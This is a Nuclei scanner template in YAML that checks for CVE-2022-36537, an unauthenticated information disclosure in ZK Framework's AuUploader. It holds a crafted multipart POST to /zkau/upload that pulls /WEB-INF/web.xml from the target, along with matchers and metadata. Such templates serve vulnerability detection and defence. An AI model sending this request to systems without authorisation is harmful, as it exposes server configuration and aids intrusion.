77 lines
2.7 KiB
YAML
77 lines
2.7 KiB
YAML
id: CVE-2022-36537
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info:
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name: ZK Framework - Information Disclosure
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author: theamanrawat
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severity: high
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description: |
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ZK Framework 9.6.1, 9.6.0.1, 9.5.1.3, 9.0.1.2 and 8.6.4.1 is susceptible to information disclosure. An attacker can access sensitive information via a crafted POST request to the component AuUploader and thereby possibly obtain additional sensitive information, modify data, and/or execute unauthorized operations.
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impact: |
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The vulnerability can lead to the exposure of sensitive data, such as credentials or internal system information.
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remediation: |
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Apply the latest security patches or updates provided by the ZK Framework to fix the information disclosure vulnerability.
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reference:
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- https://github.com/Malwareman007/CVE-2022-36537/
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- https://tracker.zkoss.org/browse/ZK-5150
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- https://nvd.nist.gov/vuln/detail/CVE-2022-36537
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- https://www.bleepingcomputer.com/news/security/cisa-warns-of-hackers-exploiting-zk-java-framework-rce-flaw/
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
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cvss-score: 7.5
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cve-id: CVE-2022-36537
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cwe-id: CWE-200
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epss-score: 0.89401
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epss-percentile: 0.98505
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cpe: cpe:2.3:a:zkoss:zk_framework:*:*:*:*:*:*:*:*
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metadata:
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verified: true
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max-request: 2
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vendor: zkoss
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product: zk_framework
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shodan-query: http.title:"Server backup manager"
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tags: cve,cve2022,zk-framework,exposure,unauth,kev,intrusive,zkoss
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http:
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- raw:
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- |
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GET /login.zul HTTP/1.1
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Host: {{Hostname}}
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- |
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POST /zkau/upload?uuid=101010&dtid={{dtid}}&sid=0&maxsize=-1 HTTP/1.1
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Host: {{Hostname}}
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Accept-Encoding: gzip, deflate
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Accept: */*
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCs6yB0zvpfSBbYEp
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Content-Length: 154
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------WebKitFormBoundaryCs6yB0zvpfSBbYEp
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Content-Disposition: form-data; name="nextURI"
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/WEB-INF/web.xml
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------WebKitFormBoundaryCs6yB0zvpfSBbYEp--
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matchers-condition: and
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matchers:
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- type: regex
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part: body
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regex:
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- <display-name>.*</display-name>
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- |-
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<welcome-file-list>((.|
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)*)welcome-file-list>
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- xml version
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- web-app
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condition: and
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- type: status
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status:
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- 200
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extractors:
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- type: regex
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name: dtid
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group: 1
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regex:
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- "dt:'(.*?)',cu:"
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internal: true
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# digest: 4a0a00473045022060bba976da8f71ab5494acd05239ea5bcd60e8d7d48b33c3790256e182401eea0221008a17c8f1922d8c7db21f44034d47e17d56215d5e2798dcd9a38bdb3baa3d933b:922c64590222798bb761d5b6d8e72950 |